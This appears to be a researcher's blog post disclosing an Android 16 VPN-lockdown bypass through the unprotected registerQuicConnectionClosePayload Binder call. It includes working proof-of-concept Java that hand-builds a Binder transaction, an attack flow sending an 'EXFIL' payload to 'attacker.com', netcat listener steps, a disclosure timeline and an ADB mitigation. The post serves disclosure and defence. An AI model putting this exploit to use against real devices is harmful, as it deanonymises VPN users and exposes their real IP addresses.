The Tiny UDP Cannon: An Android VPN Bypass

Posted on Apr 30, 2026

On Android 16, a regular app with no special permissions can leak the user's real IP, even with **"Always-On VPN" + "Block connections without VPN"** turned on. Those two settings are supposed to be the hard guarantee that nothing leaves the device outside the tunnel. They don't hold here.

The trick is that the app doesn't send the packet itself. It hands the bytes and a destination to `system_server` (UID 1000, exempt from VPN routing), then exits. A moment later `system_server` opens a UDP socket on the physical Wi-Fi interface and fires those bytes at the destination. The VPN never sees them. The destination sees your real public IP. Lockdown filters app UIDs, not system ones, so the packet walks straight past the gate the user explicitly locked.

I reported this through the Android VRP. Apparently, it is not in their threat model. I assume there are many users rely on the VPN promise and would want to know about this, and optionally can apply the mitigation at the bottom of this page.

Also see the poc app

TL;DR

A Binder method on `ConnectivityManager`, `registerQuicConnectionClosePayload`, accepts an arbitrary byte buffer and a UDP socket from any caller with `INTERNET` and `ACCESS_NETWORK_STATE` (both auto-granted). When the registered socket dies, `system_server` sends the buffer on the socket's original network. No permission check, no payload validation, no awareness of the VPN-lockdown state of the calling UID. With one slightly cute trick to slip past the fwmark server, an attacker app can use that primitive to leak the user's real IP past an active VPN, including with **Always-On VPN + "Block connections without VPN"** turned on. Confirmed on Pixel 8 (Android 16) with Proton VPN running and lockdown enabled. There's an ADB-only kill switch (see "Mitigation" below).

A bit of background

Every socket on Android carries an `SO_MARK` (the "fwmark") that tells the kernel which `netId` it belongs to. When a VPN comes up, routing tables and netd's per-app rules get rewritten so that, for VPN-locked UIDs, the only reachable network is the VPN. If an app tries something like `wifiNetwork.bindSocket(sock)` to talk to physical Wi-Fi directly, the call goes through the fwmark server, which calls `checkUserNetworkAccess()`, sees the UID is VPN-locked, and returns `EPERM`. Good.

There's one important escape hatch. Sockets owned by UIDs below `FIRST_APPLICATION_UID` (anything system-y, like `system_server`, `radio`, or `network_stack`) get tagged `PERMISSION_SYSTEM` and skip that check entirely. From `system/netd/server/NetworkController.cpp`:

```
return uid < FIRST_APPLICATION_UID ? PERMISSION_SYSTEM : PERMISSION_NONE;
```

```
if ((userPermission & PERMISSION_SYSTEM) == PERMISSION_SYSTEM) {
    return 0;  // ALLOWS access to ANY network, including physical Wi-Fi
}
```

Fine in isolation. The system needs to talk to anything regardless of what user-space VPN apps are doing. It also means: if you can convince a privileged caller to send a packet for you, the VPN is no longer in the loop.

The bug

Android 16 picked up a feature for graceful QUIC teardown. The motivation is reasonable. When an app's UDP socket gets killed (by the user, the OOM killer, the freezer, a firewall update), the QUIC server on the other end is left with a half-open connection until it times out. To be polite, the OS now lets the app pre-register a `CONNECTION_CLOSE` frame that gets sent on its behalf when the socket goes away.

Politeness, it turns out, is a hell of a primitive.

For grounding, here's the relevant slice of upstream history (`packages/modules/Connectivity`):

Date	Commit	What
2025-02-20	`627b8c6d34`	Original "Add hidden API to register/unregister QUIC connection close payload" Bug 311792075.
2025-03-26	`947b53b0d3`	Reverted, then reverted-the-revert the same day.
2025-04-25	`f56926095e`	Loopback support added.
2025-07-11	`504fe27b86`	Metrics added.

Tagged into `android-16.0.0_r3` and onward; branches `android16-qpr1-release` and `android16-qpr2-release`. So the API first reaches devices in **Android 16 QPR1** (the early-2025 quarterly release), which lines up with the Pixel 8 build I tested on (`BP22.250321.011`, March 2025). The init in `ConnectivityService` is also gated by `isAtLeastU()`, but since nothing populates `mCloseQuicConnection` before the QPR1 cut, QPR1 is the real "since when."

Here's the entry point in `ConnectivityService.java` (cs.android.com link):

```
@Override
public void registerQuicConnectionClosePayload(final ParcelFileDescriptor pfd,
        final byte[] payload) {
    if (!mCloseQuicConnection) {        // feature flag only
        IoUtils.closeQuietly(pfd);
        return;
    }
    // NO enforceCallingOrSelfPermission()
    // NO @EnforcePermission in AIDL
    // NO checkCallingPermission()
    mQuicConnectionCloser.registerQuicConnectionClosePayload(
            mDeps.getCallingUid(), pfd, payload);
}
```

No permission check. Not in the method, not in the AIDL, and not in SELinux: the service type is `app_api_service`, which means any `untrusted_app` can reach it.

What does it actually record? The calling UID, the netId of the socket, the source IP and port, the destination IP and port the socket is connected to, and the bytes you handed in. All of that gets stashed for later.

When the kernel's netlink layer eventually reports `SOCK_DESTROY` for that socket, `system_server` opens a fresh `DatagramSocket`, binds it to the original physical network, connects it to the recorded destination, and writes the recorded payload. From `QuicConnectionCloser.java`:

```
public void sendQuicConnectionClosePayload(final Network network,
        final InetSocketAddress src, final InetSocketAddress dst, final byte[] payload)
        throws IOException, ErrnoException {
    final DatagramSocket socket = new DatagramSocket(src);
    network.bindSocket(socket);    // physical Wi-Fi network
    socket.connect(dst);
    Os.write(socket.getFileDescriptor$(), payload, 0, payload.length);
}
```

Two things stand out. First, nobody checks the payload is actually a QUIC `CONNECTION_CLOSE` frame. The bytes are whatever you want. Second, nothing in the send path looks at whether the original UID is currently VPN-locked, or whether the destination network is even one that UID is supposed to reach.

This is the function that decides whether to send:

```
final boolean lpContainsSourceAddress =
        nai.linkProperties.getAddresses().contains(info.src.getAddress());
if (!isLoopbackConnection && !lpContainsSourceAddress) {
    return false;
}
mDeps.sendQuicConnectionClosePayload(nai.network(), info.src, info.dst, info.payload);
```

The full authorization story for “should we send these arbitrary bytes onto a physical network while the user has a VPN active” is, basically: “is the source IP one that lives on this network’s link properties?” If yes, send. The send is performed by `system_server`, which, again, ignores VPN routing.

The trick: `bind()` and `Network.bindSocket()` are not the same thing

One puzzle left. The app needs the registered socket to look like it lives on Wi-Fi: source IP is the device’s Wi-Fi IP, netId is the Wi-Fi netId. But the app is VPN-locked. You can’t just do this:

```
DatagramSocket s = new DatagramSocket();
wifiNetwork.bindSocket(s);   // EPERM
```

`Network.bindSocket()` goes through the fwmark server, which gives you `EPERM`, because the UID is VPN-locked and that’s exactly the case the fwmark server exists to handle.

The bypass is to skip `Network.bindSocket()` entirely and use the kernel `bind()` syscall, with the Wi-Fi IP as the bind address:

```
DatagramSocket s = new DatagramSocket(new InetSocketAddress(wifiIp, 0));
s.connect(InetAddress.getByName(attackerHost), attackerPort);
```

Constructing the socket with a bound source address triggers a plain kernel `bind()`. The kernel checks one thing: do I own an interface with this address? `wlan0` does, so `bind()` succeeds. The kernel doesn’t consult Android’s user-space VPN policies for it.

UDP `connect()` doesn’t actually send anything either. It just records the destination and asks the fwmark server to set `SO_MARK`. The fwmark server picks Wi-Fi because the source address lives there.

What you end up with is a socket whose source is the Wi-Fi IP and whose netId is Wi-Fi, even though the app’s regular network access is locked to the VPN. Hand it to `registerQuicConnectionClosePayload`, kill the app, and `system_server` finishes the job.

Nothing about this is Wi-Fi-specific, by the way. The bug works against any non-VPN physical network the app can enumerate via `getAllNetworks()`: bind to that network’s IPv4, register, exit. In practice Wi-Fi is what’s there, because when a VPN is active stock Android tears cellular down to save battery. So the typical victim profile is “VPN over Wi-Fi” and that’s what the PoC targets.

Attack flow at a glance

```
ATTACKER APP (UID 10331, INTERNET + ACCESS_NETWORK_STATE only)
  |
  | 1. cm.getAllNetworks()  // Wi-Fi visible even with VPN active (no filtering)
  | 2. cm.getLinkProperties(wifiNet)  // gets Wi-Fi IPv4 (192.168.1.248)
  | 3. new DatagramSocket(InetSocketAddress("192.168.1.248", 0))
  |      bind() is LOCAL, not blocked by VPN routing/firewall
  | 4. sock.connect("attacker.com", 3131)
  |      UDP connect = local op, no packets sent
  |      SO_MARK fwmark -> Wi-Fi netId (100)
  |      Source: 192.168.1.248 (Wi-Fi IP, explicitly bound)
  | 5. registerQuicConnectionClosePayload(pfd, exfilPayload)
  |      NO permission check, accepted by system_server
  |      Stores: {uid, netId=Wi-Fi, src=Wi-Fi_IP, dst=attacker, payload}
  | 6. sock.close() or app killed
  |
  v
SYSTEM_SERVER (UID 1000, PERMISSION_SYSTEM)
  |
  | 7. Kernel SOCK_DESTROY netlink notification
  | 8. QuicConnectionCloser.handleUdpSocketDestroy()
  | 9. closeQuicConnection(): address check PASSES
  |      Wi-Fi NAI exists, 192.168.1.248 in Wi-Fi linkProperties
  | 10. sendQuicConnectionClosePayload():
  |       new DatagramSocket(192.168.1.248:port)
  |       wifiNetwork.bindSocket(socket)   // UID 1000 EXEMPT from VPN
  |       socket.connect(attacker.com:3131)
  |       Os.write(payload)
  |
  v
PHYSICAL Wi-Fi NETWORK (wlan0, bypasses VPN tunnel)
  |
  | 11. UDP packet exits device on Wi-Fi, NOT through VPN
  |     Source: 192.168.1.248 (device Wi-Fi IP)
  |     Destination: attacker.com:3131
  |     Payload: attacker-controlled bytes
  |
  v
ATTACKER SERVER receives exfiltrated data
```

The PoC

Two files matter. The manifest, with auto-granted permissions only:

```
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
```

And `MainActivity.java`, stripped down to a single screen: enter a listener IP, enter a port, tap “Send & Exit.” The activity registers the payload bound to the Wi-Fi IP, then exits the activity and the process so the kernel sends the destroy notification.

The interesting bit is how the call reaches `system_server`. The natural-looking `ConnectivityManager#registerQuicConnectionClosePayload(...)` is `@hide`, and its AIDL transaction code is on the BLOCKED hidden-API list, so a stock untrusted app can’t reflect into either. But the AIDL is a regular oneway Binder call, so we can build the wire-format Parcel ourselves and `transact()` it directly. No reflection on the `@hide` method, no `hidden_api_policy` bypass:

```
// Transaction code 94, harvested once with dexdump on
// /apex/com.android.tethering/javalib/framework-connectivity.jar's classes.dex.
```

```
// AIDL emits methods alphabetically, so this is stable across upstream Android 16 builds.
private static final int TXN_REGISTER = 94;

// ServiceManager.getService is greylisted (UNSUPPORTED, not BLOCKED), so plain
// reflection works without policy bypass. The runtime just logs a warning.
Class<?> sm = Class.forName("android.os.ServiceManager");
IBinder connectivity = (IBinder) sm.getMethod("getService", String.class)
        .invoke(null, "connectivity");

DatagramSocket s = new DatagramSocket(new InetSocketAddress(wifiIp, 0));
s.connect(InetAddress.getByName(host), port);
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromDatagramSocket(s);
String payload = "EXFIL{src=" + srcIp.getHostAddress() + ",via=" + srcTransport + "}";

Parcel data = Parcel.obtain();
try {
    data.writeInterfaceToken("android.net.IConnectivityManager");
    data.writeTypedObject(pfd, 0);
    data.writeByteArray(payload.getBytes());
    connectivity.transact(TXN_REGISTER, data, null, IBinder.FLAG_ONEWAY);
} finally {
    data.recycle();
}

finishAndRemoveTask();
System.exit(0);
```

To reproduce:

1. `adb install -r app-debug.apk`
2. Connect to Wi-Fi, turn on a VPN. I tested with Proton.
3. On a server you control: `nc -ulvp 3131`.
4. Open the PoC, type the server's public IP and 3131, tap "Send & Exit."

Disclosure timeline

Date	Party	Event
2026-04-12	Me	Reported the bypass with PoC.
2026-04-18	Android Security Team	Closed as **Won't Fix (Infeasible)**, labeled **NSBC** (Not Security Bulletin Class). Does not meet the bar for an Android security bulletin.
2026-04-18	Me	Appealed: third-party app with only auto-granted permissions leaks the real IP past Always-On VPN + lockdown. Cited CVE-2023-21383 as accepted prior art.
2026-04-24	Android Security Team	Decision unchanged
2026-04-24	Me	Asked If I am free to disclose
2026-04-29	Android Security Team	Cleared to disclose

Mitigation

While digging into the flag plumbing I noticed the feature is gated by a chicken-out flag in `DeviceConfig`, namespace `tethering`, key `close_quic_connection`. The bytecode in `service-connectivity.jar` reads it as an int with these semantics:

Value	Effect
unset/`0`	use the build's default
`-1`	**disabled** (chickened out)
`1`	force-enabled
other	enabled iff `packageVersion ≥ value` (build gating)

> ⚠️ Warning
> Use it only if you understand the implications and on your own risk.

```
adb shell device_config put tethering close_quic_connection -1
adb reboot
```

After the reboot, `dumpsys connectivity | grep "Close QUIC"` reports `Close QUIC connection: false`, and the Binder entry hits its early-return path (`IoUtils.closeQuietly(pfd); return;`). Registrations are dropped on the floor and `system_server` has nothing to send. Confirmed on the same Pixel 8 the PoC was developed on.

You can sanity-check whether the leak actually fires on your device by force-enabling the flag (`device_config put tethering close_quic_connection 1` + reboot) and running the PoC against your own listener. If your listener sees the EXFIL packet, you're vulnerable when the flag is on. Setting it back to `-1` closes the door.

Caveats:

- `device_config` values persist across reboots, but a Factory Reset clears them, and a future Mainline update from Google could remove the chicken-out flag entirely. Treat this as a current-release mitigation, not a permanent one.
- It disables the graceful QUIC teardown for *every* app on the device, not just attackers. The cost is small: half-open QUIC connections just time out on the server side instead of being closed politely.
- Reading the flag back from a regular app requires `READ_DEVICE_CONFIG` (signature), so you can't easily verify the fix from inside an unprivileged app. The only reliable check is to actually run the PoC against your own listener and confirm nothing arrives.

- android
- vpn leak
- vpn bypass
- quic
- ip leak